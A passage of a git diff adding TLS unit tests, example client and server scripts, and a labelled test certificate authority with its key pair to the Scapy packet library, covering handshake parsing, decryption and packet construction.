+sh = b'\x16\x03\x01\x005\x02\x00\x001\x03\x01\x88\xac\xd4\xaf\x93~\xb5\x1b8c\xe7)\xa6\x9b\xa9\xed\xf3\xf3*\xdb\x00\x8bB\xf6\n\xcbz\x8eP\x83`G\x00\x00/\x00\x00\t\xff\x01\x00\x01\x00\x00#\x00\x00\x16\x03\x01\x03\xac\x0b\x00\x03\xa8\x00\x03\xa5\x00\x03\xa20\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x16\x03\x01\x00\x04\x0e\x00\x00\x00'
+ck = b"\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00w\x93\xec\xfa\xf3\xdf[\x9a4\xa7\x9e\xcd\x06=\x8dH\xf1\x069\x8c\x06\x01S\xf7\xb5\x16h\xf6\xd5 I\xd7\xf0\xc5Z\xf6\xe0f7\x95\x91\xddNC\xe7$\xf5\xdaZ\xcdG\xd8\x14\xcaV\x98\xc4\xb2\x8cm\xe51@\x9b\x9c\xb8\xadul\xd0\xdf\xf2\xd7@Q\xe4\x05J\xf31[\xdf\xc8'(\x8f#\xf0\xc4\x1c\xc6\x07G\xb327\x85\xad\xa2\xa6\xa2E\x18\x85rP\xb8\x86uL\\7\x82\x18\xceh\xc6\xd1\xf4\xcc\xb9VN\x85\x7f9c\x92\t\x96\x8e\x80\x06\xe4\r\xbfu<\xabgP^z\xc7\xfd\x8e\x12t^\xb7\xc7Lr\xdc5\xf8\xa7\xdb\x9c\xbd\xd5\xad\xabP<\xe7\x9f%f\xb4\xd8\xf4\xf0~\x99\xbeZ\xe9\xbc\x0c9\r\xb2Uq\xfcd\xa4\xda\x89\x90\xd1\x15\x05\xcc\x00\xb1\xcd\xa9c\xb4\xe8\x7fRH\xbd\xe1\xd2\xd8\x9c\xb6\xd2\x8dq9\xe5\t\xeb\xfc\x1b\x06\xac\xab\x96\xa7\xfd{\xdf\xf2\x16\r\xd6'\xb8\xd3\xa5L\xc8\x08 \xb9\xccN\xe5\xf0\xa0S\xf3\xc3\xc9\xdf\xee\xd0\r\xd8[\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000~\x01\xe1!2\x90\xba\xc8 \xb6\x8c\xb7\xd9\xf5\x80\x1d$Z^\xc8\xa3\x9f\xb3\xf1M\x0c\xd1\xedd\xb1'\x0f\xe4ER\xc9\xf7L\xf3;\xc1\xbaz\xfa\xb76\xe3q"
+fin = b"\x16\x03\x01\x00\xaa\x04\x00\x00\xa6\x00\x00\x1c \x00\xa0*\xf5.4:\xe4;t\xf0v\xed\xeaLX\xa5\xce*@\xe7\x83\rWx\xadWkM-\x95\xe7\x98\xcb6x\xeb\xca\xfe8\xf5\x84*\x9bAmZ/o9\xb03\xea\x1e\x99\xfdQ\xbfe\r\xe8W\xd5\xdb\xdd\x83\x90\x14\xc6\xef\x10s\x15\xff\xc2U\xce\xb0\x00\x11\x02|\xed\x99\xbac\xfb\x03M\xce\xd3\x92\xbe\x98\x95\x1c\xef\x9b\xb1\xd6,\x0c6Td\xc9j*\x17\xb9\xde\x13\x8f\xba[\xbcD\x1b\x9a~\xe9\xa2\xf3\xa4V3\xfe\xd6'\xc8i+\xb0m\xf8&\x86\x83\xaa\xe5\x1d\x06\x07lOx\x06 \x02\xbe\xfe\xda\x93-\x9fk\xeaHu\x8a\xec_\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000Pc\xe0T+\x17\\>\xd0\xbc\xe6Xx}\xe5\xa26\xea\x0b\xad\x1bY\x1b\x05,\x7f\xeeQ\xd6\xea!\x9d.\xe0\xf3\x88\xe6'jV\xfdz]M'\xcejJ"
+data = b'\x17\x03\x01\x00 \xe8\x91\'mRT\x17\xa1\xd6}+\x80\x02\xda\xadw.\x82TA\'\xdep\xa4\xe1\xb1H\xa9\xb1\x81gw\x17\x03\x01\x00P\xddD\x18\xdb\x82pz\xb75>\x1c\xd7\xa9=\x18C\xbd\xf0F\xa1k\x0c\xe5&\xf2\xdf\x97\xf0\xab5\xf41W\x85 \xcf\xd9\x98\xa4\xe8\xcc\xff \x1c\xbc\xb3U\xc8\x9c>\xc4$\xa5U\xc6\xd4\x1f"\xce\xf0\x98\xf0D\xd2\x1d\r*\x99*\xdcd4?\xc9\x0b\xa6\xb2\x81%\xfc'
+t = TLS(ch)
+t = TLS(sh, tls_session=t.tls_session.mirror())
+t.tls_session.server_rsa_key = key
+t = TLS(ck, tls_session=t.tls_session.mirror())
+t = TLS(fin, tls_session=t.tls_session.mirror())
+t = TLS(data, tls_session=t.tls_session.mirror())
+assert(len(t.msg) == 1)
+assert(isinstance(t.msg[0], TLSApplicationData))
+assert(t.msg[0].data == b"")
+t.getlayer(2).msg[0].data == b"To boldly go where no man has gone before...\n"
+
+
+###############################################################################
+############################## Building packets ###############################
+###############################################################################
+
++ Build TLS packets
+
+= Building packets - Various default records
+raw(TLS())
+raw(TLSClientHello())
+raw(TLSServerHello())
+raw(TLSCertificate())
+raw(TLSServerKeyExchange())
+raw(TLSClientKeyExchange())
+raw(TLSAlert())
+raw(TLSChangeCipherSpec())
+raw(TLSApplicationData()) == b""
+
+
+= Building packets - ClientHello with automatic length computation
+ch = TLSClientHello()
+ch.msgtype = 'client_hello'
+ch.version = 'TLS 1.2'
+ch.gmt_unix_time = 0x26ee2ddd
+ch.random_bytes = b'X\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf'
+ch.ciphers = [TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
+ch.comp = 'null'
+ext1 = TLS_Ext_ServerName(servernames=ServerName(servername='mn.scapy.wtv'))
+ext2 = TLS_Ext_RenegotiationInfo()
+ext3 = TLS_Ext_SupportedEllipticCurves(groups=['secp256r1', 'secp384r1', 'secp521r1'])
+ext4 = TLS_Ext_SupportedPointFormat(ecpl='uncompressed')
+ext5 = TLS_Ext_SessionTicket()
+ext6 = TLS_Ext_NPN()
+ext7 = TLS_Ext_ALPN(protocols=[ProtocolName(protocol='h2-16'), ProtocolName(protocol='h2-15'), ProtocolName(protocol='h2-14'), ProtocolName(protocol='h2'), ProtocolName(protocol='spdy/3.1'), ProtocolName(protocol='http/1.1')])
+ext8 = TLS_Ext_CSR(stype='ocsp', req=OCSPStatusRequest())
+ext9 = TLS_Ext_SignatureAlgorithms(sig_algs=['sha256+rsa', 'sha384+rsa', 'sha512+rsa', 'sha1+rsa', 'sha256+ecdsa', 'sha384+ecdsa', 'sha512+ecdsa', 'sha1+ecdsa', 'sha256+dsa', 'sha1+dsa'])
+ch.ext = [ext1, ext2, ext3, ext4, ext5, ext6, ext7, ext8, ext9]
+t = TLS(type='handshake', version='TLS 1.0', msg=ch)
+raw(t) == b'\x16\x03\x01\x00\xc7\x01\x00\x00\xc3\x03\x03&\xee-\xddX\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf\x00\x00\x16\xc0+\xc0/\xc0\n\xc0\t\xc0\x13\xc0\x14\x003\x009\x00/\x005\x00\n\x01\x00\x00\x84\x00\x00\x00\x11\x00\x0f\x00\x00\x0cmn.scapy.wtv\xff\x01\x00\x01\x00\x00\n\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00#\x00\x003t\x00\x00\x00\x10\x00)\x00\'\x05h2-16\x05h2-15\x05h2-14\x02h2\x08spdy/3.1\x08http/1.1\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\r\x00\x16\x00\x14\x04\x01\x05\x01\x06\x01\x02\x01\x04\x03\x05\x03\x06\x03\x02\x03\x04\x02\x02\x02'
+
+
+= Building packets - ServerHello context linking
+from scapy.layers.tls.crypto.kx_algs import KX_ECDHE_RSA
+from scapy.layers.tls.crypto.cipher_block import Cipher_AES_256_CBC
+sh = TLSServerHello(gmt_unix_time=0x41414141, random_bytes='B'*28, cipher=0xc014)
+t = TLS(msg=sh)
+t.raw_stateful()
+assert(isinstance(t.tls_session.pwcs.ciphersuite, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA))
+assert(isinstance(t.tls_session.pwcs.key_exchange, KX_ECDHE_RSA))
+assert(isinstance(t.tls_session.pwcs.cipher, Cipher_AES_256_CBC))
+assert(isinstance(t.tls_session.pwcs.hmac, Hmac_SHA))
+t.tls_session.server_random == b'A'*4+b'B'*28
+
+
+= Building packets - ChangeCipherSpec with forged, forbidden field values
+t = TLS(msg=TLSChangeCipherSpec())
+assert(raw(t) == b'\x14\x03\x03\x00\x01\x01')
+t.len = 0
+assert(raw(t) == b'\x14\x03\x03\x00\x00\x01')
+t.type = 0xde
+t.version = 0xadbe
+t.len = 0xefff
+raw(t) == b'\xde\xad\xbe\xef\xff\x01'
+
+
+= Building packets - TLS record with bad data
+a = TLS(b'\x17\x03\x03\x00\x03data')
+assert a.haslayer(Raw)
+
+
+= Building packets - _CipherSuitesField with no cipher
+from scapy.layers.tls.handshake import _CipherSuitesField
+a = _CipherSuitesField("test", None, {})
+assert a.i2repr(None, None) == "None"
+assert isinstance(a.randval(), RandBin)
+
+
+= Building packets - TLSClientKeyExchange with bad data
+a = TLSClientKeyExchange(raw(TLSClientKeyExchange(exchkeys="baddata")))
+assert a.haslayer(Raw)
+
+
+= Building packets - Perform dummy session update
+assert not TLSHelloRequest().tls_session_update(None)
+
+
+= Cryptography module is unavailable
+import scapy.modules.six as six
+import mock
+
+@mock.patch("scapy.layers.tls.crypto.suites.get_algs_from_ciphersuite_name")
+def test_tls_without_cryptography(get_algs_from_ciphersuite_name_mock):
+    get_algs_from_ciphersuite_name_mock.return_value = (scapy.layers.tls.crypto.kx_algs.KX_ECDHE_RSA, None, None, scapy.layers.tls.crypto.hash.Hash_SHA256, False)
+    sh = IP()/TCP()/TLS(msg=TLSServerHello(cipher=0xc02f))
+    assert raw(sh)
+    if six.PY2:
+        assert str(sh)
+    sh2 = Ether(b"\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x86\xdd`\x04Z\xd8\x02\x19\x06@\xcfm\xack|z\xae\xac\x9d\x8d'\xba\xa2Cs\xcc\x07\x8f\x91\xbdk\x0e\x1e\xdb\xf6\xbe\xc3\xa1\xfc\xa5\x15\xca\xd6#\x01\xbb\xeeC\xc0H\xea\xa2\x9a,P\x18\x00\xffu\xf0\x00\x00\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03W`\xb4|\n5E\x11\xe8\xb5\xa3\x9c\xea\xa6I\x99N\xcd\xe9j\x8d\xfe\xa8%\x8b\xceC\xf8w\x94gV \x13\x0b\xdf}\xad\xbf\xbe67\xba\xcf\x9c\xfa\x92\xc2\xeeS\xf6DL\x19\xb3\xe4`H\x84\xcb]h\xb4\xbb\xba\x00\x1cZZ\xc0+\xc0/\xc0,\xc00\xcc\xa9\xcc\xa8\xc0\x13\xc0\x14\x00\x9c\x00\x9d\x00/\x005\x00\n\x01\x00\x01\x97\xba\xba\x00\x00\xff\x01\x00\x01\x00\x00\x00\x00\x11\x00\x0f\x00\x00\x0cfacebook.com\x00\x17\x00\x00\x00#\x00\xc0\x8a`K^\x7fF\x05K\x95\x85\x1c\xec\x9f\xff\x9b\x85T\x85=<\xbc\xfb\xe4n4\xe9W+\xfanM\xa7\x8c.\x95\x9e\xf0\xfb\x93\x91\xa9\x87\x12o\xc8\x99\xe8\x94_\xca\xceH(\xcai\xdf\xe8\xcf7\x05v\xd4\x9e\x85\x86\x19\xe4\xb6\xf9K\n\xb2\xfd\xa1\xa3r\x9f\xec\x05\xd4\xbc\x1bU\x9a\x89\x1d)\xc5\x85(?@x\r\x12Ep\xb7\xf8\x0c\xe7\x17Y<\xbd-\xd7\x9a\x9f^\xb1k\x0b\xcb\xfd\xf4\xb1z\x06\xe9Mna\x9a\xc8\xc8\xdd\x95\xa1`N\xbd/\x9d\xd6\xd9\x93\xf4$\xefq\x80R\xc3|\x9f\xe1'\x19\xf2I\xf8\xdbV\x0b/\xaex8q\xb2ZGU\xf7^\xa9\x80\xf9\r\xbfo\xee\t\x01(\x93\x12g\x1frXUa\xdc\x8d*F\xb8\xc6\xe2\xb6\x00\r\x00\x14\x00\x12\x04\x03\x08\x04\x04\x01\x05\x03\x08\x05\x05\x01\x08\x06\x06\x01\x02\x01\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\x12\x00\x00\x00\x10\x00\x0e\x00\x0c\x02h2\x08http/1.1uP\x00\x00\x00\x0b\x00\x02\x01\x00\x00\n\x00\n\x00\x08jj\x00\x1d\x00\x17\x00\x18zz\x00\x01\x00\x00\x15\x00Y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
+    assert TLS in sh2
+    assert isinstance(sh2.msg[0], TLSClientHello)
+
+test_tls_without_cryptography()
+
+###############################################################################
+############################ Automaton behaviour ##############################
+###############################################################################
+
+# see test/tls/tests_tls_netaccess.uts
+
+
diff --git a/test/tls/__init__.py b/test/tls/__init__.py
new file mode 100644
index 0000000..1b5e2a9
--- /dev/null
+++ b/test/tls/__init__.py
@@ -0,0 +1,8 @@
+## This file is part of Scapy
+## Copyright (C) 2016 Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+Examples and test PKI for the TLS module.
+"""
+
diff --git a/test/tls/example_client.py b/test/tls/example_client.py
new file mode 100755
index 0000000..31a1fce
--- /dev/null
+++ b/test/tls/example_client.py
@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+## This file is part of Scapy
+## This program is published under a GPLv2 license
+
+"""
+Basic TLS client. A ciphersuite may be commanded via a first argument.
+Default protocol version is TLS 1.2.
+
+For instance, "sudo ./client_simple.py c014" will try to connect to any TLS
+server at 127.0.0.1:4433, with suite TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA.
+"""
+
+import os
+import sys
+
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../../"))
+sys.path=[basedir]+sys.path
+
+from scapy.layers.tls.automaton_cli import TLSClientAutomaton
+from scapy.layers.tls.handshake import TLSClientHello
+
+
+if len(sys.argv) == 2:
+    ch = TLSClientHello(ciphers=int(sys.argv[1], 16))
+else:
+    ch = None
+
+t = TLSClientAutomaton(client_hello=ch,
+                       version="tls13-d18",
+                       mycert=basedir+"/test/tls/pki/cli_cert.pem",
+                       mykey=basedir+"/test/tls/pki/cli_key.pem")
+t.run()
+
diff --git a/test/tls/example_server.py b/test/tls/example_server.py
new file mode 100755
index 0000000..ed740aa
--- /dev/null
+++ b/test/tls/example_server.py
@@ -0,0 +1,32 @@
+#!/usr/bin/env python
+
+## This file is part of Scapy
+## This program is published under a GPLv2 license
+
+"""
+Basic TLS server. A preferred ciphersuite may be provided as first argument.
+
+For instance, "sudo ./server_simple.py c014" will start a server accepting
+any TLS client connection. If provided, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
+will be preferred to any other suite the client might propose.
+"""
+
+import os
+import sys
+
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../../"))
+sys.path=[basedir]+sys.path
+
+from scapy.layers.tls.automaton_srv import TLSServerAutomaton
+
+
+if len(sys.argv) == 2:
+    pcs = int(sys.argv[1], 16)
+else:
+    pcs = None
+
+t = TLSServerAutomaton(mycert=basedir+'/test/tls/pki/srv_cert.pem',
+                       mykey=basedir+'/test/tls/pki/srv_key.pem',
+                       preferred_ciphersuite=pcs)
+t.run()
+
diff --git a/test/tls/pki/ca_cert.pem b/test/tls/pki/ca_cert.pem
new file mode 100644
index 0000000..25b4c52
--- /dev/null
+++ b/test/tls/pki/ca_cert.pem
@@ -0,0 +1,21 @@
+-----BEGIN CERTIFICATE-----
+MIIDiDCCAnCgAwIBAgIJALpa+1bjqpmeMA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV
+BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz
+dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyNjQ1WhcN
+MjYwOTE2MTAyNjQ1WjBUMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0
+YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRYwFAYDVQQDDA1TY2FweSBUZXN0
+IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0Gy5LahBQAwiGUrP
+ZLrBUIEZAlnsOkCd7Al+wJwaPFhMLy+nga0ubMuUBo4P9DQv729jpiRnu6Q1ScO3
+PcRX5FNdEKxV9fLOWUJp5MIMz5k6snJ5+kEMouNXj/umUN+qHHyvgbDVEw7RroTN
+mLqnWs2Al5Rd0NAxp4lLoYdVUclXrlOGY7Ldkq4WAgdlJZQ6PiZyeoz6YNeoRNmR
+h4RGKDmzoSEKqsAUlozEg3seC1EbU0TtY9r3O09tEGegQUARIxXV3qpWjFxakax+
+XzzldwuoIWMO7x8RqH9X3Y+ktcLOxiPhKmGqcR3kNyMcARatdIjdV0b3jAeH68of
+DVxXoQIDAQABo10wWzAdBgNVHQ4EFgQUZlOU9BXRvWdosFE3MjXhpKreB3wwHwYD
+VR0jBBgwFoAUZlOU9BXRvWdosFE3MjXhpKreB3wwDAYDVR0TBAUwAwEB/zALBgNV
+HQ8EBAMCAgQwDQYJKoZIhvcNAQELBQADggEBAJNnhilPvSXjGFSUNp5XG81i44lI
+wqsYcWl7cuNjFS8tqciMb1Q8Lr768+CPFYlf3OjwX43SCe621oKtRZV0O3bizSZd
+5xuCAEsCe1jkk4d7Nxk13/AB2z6YKvWeud/vLAQpYIwzV/qExAOv+ZLAj46t6S/E
+h/A/kNEXqBE5e+yysTUVNz+moI7P8Sw91yXuiPMSWJ4rla+nmfFWaKTP9vjEmEHt
+a+LA8VUiR2dEeLcRnVCgVJc0+AS6EjG662AKyNYP4AcmUaFvBKRiJpEgZwNmmOen
+PjNAbNxzEk7bJMG8GUmwYJ9cYznBFBOzAJNyMkG8wSmMYN3NgdnD4KYHYVE=
+-----END CERTIFICATE-----
diff --git a/test/tls/pki/ca_key.pem b/test/tls/pki/ca_key.pem
new file mode 100644
index 0000000..fead823
--- /dev/null
+++ b/test/tls/pki/ca_key.pem
@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQbLktqEFADCIZ
+Ss9kusFQgRkCWew6QJ3sCX7AnBo8WEwvL6eBrS5sy5QGjg/0NC/vb2OmJGe7pDVJ
+w7c9xFfkU10QrFX18s5ZQmnkwgzPmTqycnn6QQyi41eP+6ZQ36ocfK+BsNUTDtGu
+hM2YuqdazYCXlF3Q0DGniUuhh1VRyVeuU4Zjst2SrhYCB2UllDo+JnJ6jPpg16hE
+2ZGHhEYoObOhIQqqwBSWjMSDex4LURtTRO1j2vc7T20QZ6BBQBEjFdXeqlaMXFqR
+rH5fPOV3C6ghYw7vHxGof1fdj6S1ws7GI+EqYapxHeQ3IxwBFq10iN1XRveMB4fr
+yh8NXFehAgMBAAECggEAXSPpEO0604tYhaL30VTf5MD8Ux+qQFH2ALAxk5Nu6f6v
+dPq/yWSB9Z54NQGxQXk83qwRhQKJ1MHKCn/K2HBwsplKYpQRCgsKibrzJYZOQUuB
+fpNHzTzaj8Q2siJMLaH2HCrgJ33FinG55Fp2okTvWtWxHIvx7MnNFsh1IuceiqA3
+5tVSR7+kMraJgJ9auRNRQbH273LzntVOzAt339Xd38izsQ7CvYERAQGabTwo6BEC
+nDFfhWXPaxRt5JcJWcJNYSxYKigMmDh4oGXSb+mZeuojcXYcaHzyAToAjZ6x2hXU
+Vjxo7JMK+gvhJvlOpY2tjMNIkRh1P7gLrBSP8XcxjQKBgQDtSIr8qooaswEQ9H8W
+Tkr5ciLU4u6Wfhp26+M6oHPv57bbJI7qN68Z3l+cbtLxSqj0bcop1V+xvQjWOD+/
+ckNPm4aEmoIMP3a0oQARtJeR9uaos64uudc+1gpz9g7w+sO+khy9yAFdY1+9gsEi
+WqqbtVQ2e3RABoolr14Pcc222wKBgQDg3XAjcXupfsrDhQP5R45kY/eVFWUk7PMB
+jpPl6+ZfoB/vqUuCZBX3UYrFDe4O+n0R6oF9ACXLRsVuaG/IZYDFczsBvEr8WpOG
+78lpTbgUwudKlnzSBl01aUZu7zpJ3oFhX1DgZspr72UfHl9+/NwezV4gFd0ZKGLO
+s/aLsh3eMwKBgDm3TH9a6A7IfbjnD8aYMqpsNca8kDYw5DUK+ZF4F9tB7HtvcAfO
+lZvgODdvyYWBmIkj72mvigBMr8qTkgX6QB8sAFNe1cUu5qvXAZJM8BVEDiT416Rr
+9cxF+fLs5gN9q4E+Pxl2fcZ+dno9RMcbcKZBPAOokcVFEfNKrcFp+BTDAoGBAL42
+0ztILgFs/fxysq/V9f+6CJ8WIB8iSVXR1A40hQXzH9DN9s/v9hzl32tdozkMb2wO
+YUbqLw5LaYtB0P1Fz643EX0gWJYr0IvenxPy6Hq3fIu9zQyk0Yfy69+/giEmlW9W
+/8UzbpvrQDEYslNrdpCfzLV7iTJU1XBhD3eQTm+9AoGAf1EX07Jk7357Y7+l/vB4
+Cd0g+k4yRadDM7tCrdYnZcdwhFoKtCC9y/ChBgHRkayMizJRYC218ou9muP3qYLD
+Wd+Sqtxg7LlDRa+m8db0SI40a0AMb0fGKXzy4AxD1EJrBLt8rdaDrqoGF/Vwadjh
+sxUMjCPGDmiV+ucqbJR9/NE=
+-----END PRIVATE KEY-----
diff --git a/test/tls/pki/cli_cert.pem b/test/tls/pki/cli_cert.pem
new file mode 100644
index 0000000..66f48c2
--- /dev/null
+++ b/test/tls/pki/cli_cert.pem
@@ -0,0 +1,22 @@
+-----BEGIN CERTIFICATE-----
+MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n4MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV
+BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz
+dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAzMDUyWhcN
+MjYwOTE1MTAzMDUyWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0
+YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0
+IENsaWVudDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMMJN5ioDSgj
+OufUeWJI7Ali5QPySoD8neeSXkzGlm48SGDNzoKQs0v75gmlOs/mditKsPfu9HQA
+Ohd97oor8HQLhEMqF6OpiGyjOo7i3+/X8bPhJJsn6pYmJ5PH8HjduHuGFGt9Or2t
+wpQCd1t5ZN3KSZpnEk9K3HS3GJHHsO69UvuIWsksjjetAtD7HpvdeMGrMRmTEgI3
+EFVUigfP1y8uaoq648TPG31MFx8cpxfKhNtstmRPZNpyl2NpzoZQFXskbMO8pVYc
+QxTwA6/AgDBYoaYRdV4hq5MSfcGloy5OIsR/8toamJ0EjbypulnC0+F78goP/Puw
+isuHi2YYJxUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O
+BBYEFAPVvKSOtt3Hj63JN8ZtzEGSZZ5IMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR
+NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB
+AQAhzb8LBydZ+ulSyIiF4/PgTh7/sQOC1LroP0GhVsOLNZ07qvw8teXJO9HwsAqm
+14GeLJh5XWhoL4tkq9RMcwuZL2vuVl9FB9inLerA1FU/ErJJOIIC3drIORTTQ2ot
+lUkbKOAQFzZfP0d+iuCFi0r0Kcu7BAZETTeG4cAoIoIIhh2AZ8DfT3E6xP7OKUMA
+3m1gA4M1hwiAhFvj4iBaG20Sb0RXpDuTToHEfCEnuQdoex3F8gmn88yt22FNakqe
+cr9ooif+id4ErdKLozgG1i0PFYCFRj2/fUPTQw3BSgfo+XNcAjA04CowuhPAjsL8
+ybC+9OE5YPSxfOqOPB4sK/w2
+-----END CERTIFICATE-----
